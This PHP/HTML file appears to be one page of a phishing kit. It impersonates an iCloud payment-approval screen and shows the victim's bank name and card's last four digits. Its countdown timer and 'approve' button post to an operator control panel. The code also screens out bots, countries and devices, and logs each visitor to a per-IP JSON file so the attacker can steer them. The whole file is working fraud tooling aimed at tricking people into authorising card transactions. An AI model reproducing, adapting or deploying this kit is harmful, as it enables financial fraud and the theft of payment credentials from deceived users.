<?php
    error_reporting(0);
    session_start();

    include "../antibots-debug/antibots.php";
    include '../setting/functions.php';
    include '../includes/current-page.php';
    include '../includes/check-allowed-countries.php';
    include '../includes/check-devices-allow.php';
    require_once "../setting/lang.php";

    // Lang Fucntion :
    lang();
    
    $ip = get_client_ip();
    $get_name_file = str_replace(".", "-", $ip);
    $target_file = "../panel/storage/{$get_name_file}.json";
    $json_file = file_get_contents($target_file);
    $user_info = json_decode($json_file, true);
    $user_info['error_approvation'];
    
    if ($user_info['error_approvation'] == 1) {
        $get_name_page = "Page Approvation Error";
        $get_step = "approvation-error";
    } else {
        $get_name_page = "Page Approvation";
        $get_step = "approvation";
    }
    get_page_info($get_name_page, $get_name_file);
    
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en" class="">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/main.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.png">
    <link rel="shortcut" href="../img/favicon.png">
    <link rel="appel-touch-icon" href="../img/favicon.png">
    <title>iCloud - <?php echo get_text('title_head_8'); ?></title>
</head>
<body id="body" class="">
    <!-- Start Nav Bar -->
    <div class="nav-bar">
        <div class="content-nav-bar">
            <img class="show-message-explain" src="../img/logo.png" alt="">
            <div class="button-svg-navbar show-message-explain">
                <svg class="svg-navbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" height="22" width="22" aria-hidden="true">
                    <path d="M12.9321097,6.8055484 C12.9321097,3.30883872 10.0968839,0.505161291 6.53720646,0.505161291 C3.07198065,0.505161291 0.236774194,3.30883872 0.236774194,6.8055484 C0.236774194,10.3022581 3.07198065,13.1059355 6.53720646,13.1059355 C10.0968839,13.1059355 12.9321097,10.3022581 12.9321097,6.8055484 Z M36.2435936,6.8055484 C36.2435936,3.30883872 33.4399162,0.505161291 29.9432065,0.505161291 C26.4779807,0.505161291 23.6743033,3.30883872 23.6743033,6.8055484 C23.6743033,10.3022581 26.4779807,13.1059355 29.9432065,13.1059355 C33.4399162,13.1059355 36.2435936,10.3022581 36.2435936,6.8055484 Z M59.6495291,6.8055484 C59.6495291,3.30883872 56.8459162,0.505161291 53.3492065,0.505161291 C49.7894646,0.505161291 46.9857872,3.30883872 46.9857872,6.8055484 C46.9857872,10.3022581 49.7894646,13.1059355 53.3492065,13.1059355 C56.8459162,13.1059355 59.6495291,10.3022581 59.6495291,6.8055484 Z" transform="translate(2 25.226)"></path>
                </svg>
            </div>
        </div>
    </div>
    <!-- End Nav Bar -->

    <!-- Start Main -->
    <div class="main">
        <div class="content-main content-main-height">
            <div class="approve-app">
                <div class="header-approve-app">
                    <img src="../img/logo.png" alt="">
                    <?php echo $_SESSION["image_by"]; ?>
                </div>
                <div class="after-header-approve-app">
                    <h1 class="title-steps-2"> <?php echo get_text('title_step_8'); ?></h1>
                    <p class="p-explain"><?php echo get_text('p_explain_step_8'); ?></p>
                </div>
                <div class="text-and-counter">
                    <div id="countdown" class="timer">06:00</div>           
                    <p class="p-explain">
                        <?php echo get_text('p_explain_step_9'); ?>
                    </p>   
                </div>
                <?php
                    if ($user_info['error_approvation'] == 1) {
                        echo
                        '<span class="message-error-pages">
                            <i class="fa-solid fa-triangle-exclamation"></i>'
                            .get_text('message_error_pages_5').
                        '</span>';
                    }
                ?>
                <div class="details-approve-app">
                    <div class="parent-key-and-value"><span class="key"><?php echo get_text('label_approve_1'); ?></span> <span class="value">ICloud</span></div>
                    <div class="parent-key-and-value"><span class="key"><?php echo get_text('label_approve_2'); ?></span><span class="value"><?php echo date('l jS \of  h:i A'); ?></span></div>
                    <div class="parent-key-and-value"><span class="key"><?php echo get_text('label_approve_3'); ?></span><span class="value"><?php if(isset($_SESSION["name_the_bank"])) {echo $_SESSION["name_the_bank"];} else { echo "Bank";}?> </span></div>
                    <div class="parent-key-and-value" style="border-bottom: 0px !important;" ><span class="key"><?php echo get_text('label_approve_4'); ?></span> <span class="value"><?php echo "XXXX-XXXX-XXXX-" . $_SESSION["Last_four_digits"]; ?></span></div>
                </div>
                <form action="../control-panel/check-action.php" class="form-accept-app" method="post" >
                    <input type="hidden" name="step" value="<?php echo $get_step; ?>">
                    <input type="hidden" name="ip" value="<?php echo $get_name_file; ?>">
                    <div class="parent-image-accept">
                        <img src="../img/accept-image.png" alt="">
                    </div>
                    <p>
                        <?php echo get_text('p_explain_step_10'); ?>
                    </p>
                    <div class="parent-button">
                        <button class="button-send-data" type="submit" name="b_s_d_p" id="buttonSendData"><?php echo get_text('button_approve'); ?> </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <!-- End Main -->

    <!-- Start Footer -->
    <div class="footer">
        <div class="content-footer">
            <div class="links-footer">
                <span class="link-footer show-message-explain"> <?php echo get_text('link_footer_1'); ?></span>
                <span class="border-right"></span>
                <span class="link-footer show-message-explain"> <?php echo get_text('link_footer_2'); ?></span>
                <span class="border-right"></span>
                <span class="link-footer show-message-explain"> <?php echo get_text('link_footer_3'); ?></span>
            </div>
            <span class="copyright"><?php echo get_text('copyright'); ?></span>
        </div>
    </div>
    <!-- End Footer -->

    <!-- Message Explain -->
    <div class="message-user" id="messageUser">
        <div class="content-message-user">
            <div class="header-messsage-user">
                <img src="../img/logo.png" alt="">
                <button class="close-message-header" id="closeMessageuser1" type="button"><i
                        class="fa-solid fa-xmark"></i></button>
            </div>
            <div class="text-message-user">
                <span class="alert-icon">
                    <i class="fa-solid fa-shield-halved"></i>
                </span>
                <h2><?php echo get_text('title_message_user'); ?></h2>
                <p>
                    <?php echo get_text('text_message_user'); ?>
                </p>
                <button type="button" class="close-message-user" id="closeMessageuser2"><?php echo get_text('button_message_user'); ?></button>
            </div>
        </div>
    </div>
    <!-- Message Explain -->

    <!-- Script Js -->
    <script src="../js/script-all.js"></script>
    <script src="../js/script-step-four.js"></script>
    <script src="../js/jquery.min.js"></script>
    <?php include '../includes/redirect.php'; ?>
    <?php include '../includes/status.php'; ?>

</body>
</html>

